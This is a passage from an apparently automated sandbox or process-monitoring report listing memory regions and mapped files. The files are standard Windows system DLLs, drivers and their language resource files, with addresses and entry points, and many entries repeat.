"fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5143 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5144 start_va = 0x20abc5e0000 end_va = 0x20abc639fff monitored = 0 entry_point = 0x20abc625b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5145 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5146 start_va = 0x20abc5e0000 end_va = 0x20abc639fff monitored = 0 entry_point = 0x20abc625b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5147 start_va = 0x20abc380000 end_va = 0x20abc380fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5148 start_va = 0x20abc5e0000 end_va = 0x20abc6c1fff monitored = 0 entry_point = 0x20abc63d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5149 start_va = 0x20abc380000 end_va = 0x20abc380fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5150 start_va = 0x20abc5e0000 end_va = 0x20abc6c1fff monitored = 0 entry_point = 0x20abc63d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5151 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5152 start_va = 0x20abc5e0000 end_va = 0x20abc6c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5153 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5154 start_va = 0x20abc5e0000 end_va = 0x20abc6c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5155 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5156 start_va = 0x20abc5e0000 end_va = 0x20abc672fff monitored = 0 entry_point = 0x20abc659000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5157 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5158 start_va = 0x20abc5e0000 end_va = 0x20abc672fff monitored = 0 entry_point = 0x20abc659000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5159 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5160 start_va = 0x20abc5e0000 end_va = 0x20abc680fff monitored = 0 entry_point = 0x20abc673000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5161 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5162 start_va = 0x20abc5e0000 end_va = 0x20abc680fff monitored = 0 entry_point = 0x20abc673000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5163 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5164 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5165 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5166 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5167 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5168 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5169 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5170 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5171 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5172 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5173 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5174 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5175 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5176 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5177 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5178 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5179 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5180 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5181 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5182 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5183 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5184 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5185 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5186 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5187 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5188 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5189 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5190 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5191 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5192 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5193 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5194 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5195 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5196 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5197 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5198 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5199 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5200 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5201 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5202 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5203 start_va = 0x20abc380000 end_va = 0x20abc38efff monitored = 0 entry_point = 0x20abc3836e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 5204 start_va = 0x20abc390000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 5205 start_va = 0x20abc380000 end_va = 0x20abc38efff monitored = 0 entry_point = 0x20abc3836e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 5206 start_va = 0x20abc390000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 5207 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5208 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5209 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5210 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5211 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5212 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5213 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5214 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5215 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5216 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5217 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5218 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5219 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 5220 start_va = 0x20abc5e0000 end_va = 0x20abc6eefff monitored = 0 entry_point = 0x20abc61c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 5221 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 5222 start_va = 0x20abc5e0000 end_va = 0x20abc6eefff monitored = 0 entry_point = 0x20abc61c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 5223 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5224 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5225 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5226 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5227 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5228 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5229 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5230 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5231 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5232 start_va = 0x20abc5e0000 end_va = 0x20abc836fff monitored = 0 entry_point = 0x20abc7ece10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5233 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5234 start_va = 0x20abc5e0000 end_va = 0x20abc836fff monitored = 0 entry_point = 0x20abc7ece10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5235 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5236 start_va = 0x20abc5e0000 end_va = 0x20abc6f0fff monitored = 0 entry_point = 0x20abc6d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5237 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5238 start_va = 0x20abc5e0000 end_va = 0x20abc6f0fff monitored = 0 entry_point = 0x20abc6d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5239 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5240 start_va = 0x20abc5e0000 end_va = 0x20abc6f0fff monitored = 0 entry_point = 0x20abc6d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5241 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5242 start_va = 0x20abc5e0000 end_va = 0x20abc6f0fff monitored = 0 entry_point = 0x20abc6d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5243 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5244 start_va = 0x20abc5e0000 end_va = 0x20abc6f0fff monitored = 0 entry_point = 